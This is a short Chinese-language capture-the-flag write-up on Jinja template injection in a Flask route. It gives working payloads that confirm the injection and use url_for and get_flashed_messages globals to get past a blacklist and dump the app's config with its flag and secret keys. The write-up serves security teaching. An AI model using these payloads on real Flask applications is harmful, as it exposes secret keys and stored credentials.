flask之jinja模板注入
打开页面,我们可以看见源码
1 | import flask |
我们可以看见一个函数
1 | flask.render_template_string() |
可知是模板注入,同时我们看见
1 | @app.route('/shrine/<path:shrine>') |
可以猜测注入点在/shrine/后面,因此我们可以构造payload
1 | /shrine/{{7*7}} |
发现返回了49,可以确定这里是注入点,然后我们再看一行代码
1 | app.config['FLAG'] = os.environ.pop('FLAG') |
可以知道,在config文件中有flag的存在,而config文件是flask的全局变量,包含了所有应用程序的配置的信息,如:数据库链接字符串、连接第三方的凭证、SECRET_KEY等敏感值等
但是源码中不仅过滤了(和),而且还将config和self加入了黑名单,所以我们不能直接构造读取config信息,不过可以使用url_for()函数或get_flashed_messages()函数读取全局变量[‘current_app’],而[‘current_app’]是指当前app,里面包含config
可以使用以下代码,对过滤进行展示
1 | import flask |
url_for
1 | 作用: |
get_flashed_message()
1 | 返回之前在flask中通过flash()传入的闪现信息列表,把字符串对象表示的消息加入到一个消息列中,然后调用get_flashed_message()方法取出(闪现信息只可以取一次,而闪现信息中包含['current_app'] |
然后我们可以先构造
1 | /shrine/{{url_for.__globals__}} |
得到所有的全局变量的信息,然后按ctrl+F来读取current_app,发现有,则直接构造
1 | /shrine/{{url_for.__globals__['current_app'].config}} |
或者按上面的方式,使用get_flashed_messages()函数来读取
1 | /shrine/{{get_flashed_messages.__globals__['current_app'].config}} |
其实思路就是,由于过滤,无法直接使用来读取config,则直接说详细一点,读取当前应用程序下的config